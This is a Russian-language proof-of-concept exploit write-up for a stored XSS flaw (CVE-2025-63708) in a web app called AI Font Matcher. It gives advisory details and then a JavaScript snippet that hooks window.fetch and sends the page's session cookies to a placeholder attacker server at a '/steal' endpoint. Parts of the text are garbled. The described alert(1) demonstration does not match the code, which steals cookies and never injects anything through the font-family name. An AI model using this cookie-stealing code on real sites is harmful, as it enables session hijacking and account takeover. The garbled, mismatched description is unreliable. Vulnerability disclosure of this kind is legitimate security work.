
Эксплойт доказательства концепции для CVE-2025-63708, уязвимости хранимого XSS в AI Font Matcher. Демонстрирует кражу сессионных cookie через несанитизированные имена семейств шрифтов в ответах на запросы веб-шрифтов.
Идентификатор CVE: CVE-2025-63708
Назначено: 11-12-2025
Тип проблемы: CWE-79 (Межсайтовый скриптинг)
Затронутый продукт: “AI Font Matcher” (опубликовано 2025-10-10, nid=18425)
Страница продукта: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html
Дата обнаружения: 2025-10-11
Исследователь: Dylan Davis
Приложение обрабатывает данные из запроса webfonts без санитизации названий семейств шрифтов. Злоумышленник, контролирующий или перехватывающий этот ответ, может внедрить JavaScript, который выполняется в контексте страницы, что позволяет похитить сессионные cookie и захватить учетную запись.
Эта PoC демонстрирует выполнение кода путем перехвата window.fetch и возврата контролируемой полезной нагрузки веб-шрифтов.
poc.js).webfonts; наблюдайте alert(1).window.__origFetch = window.fetch;
window.fetch = async function(input, init) {
const url = (typeof input === 'string') ? input : input?.url;
if (url && url.includes('webfonts')) {
// Exfiltrate cookie to your server
fetch('http://[your-ip]:8001/steal?cookie=' +
encodeURIComponent(document.cookie))
.catch(e => console.log('Exfil failed:', e));
return new Response(JSON.stringify({
kind: "webfonts#webfontList",
items: [{ family: "Playfair Display", category: "serif" }]
}), {
status: 200,
headers: {'Content-Type': 'application/json'}
});
}
return window.__origFetch.apply(this, arguments);
};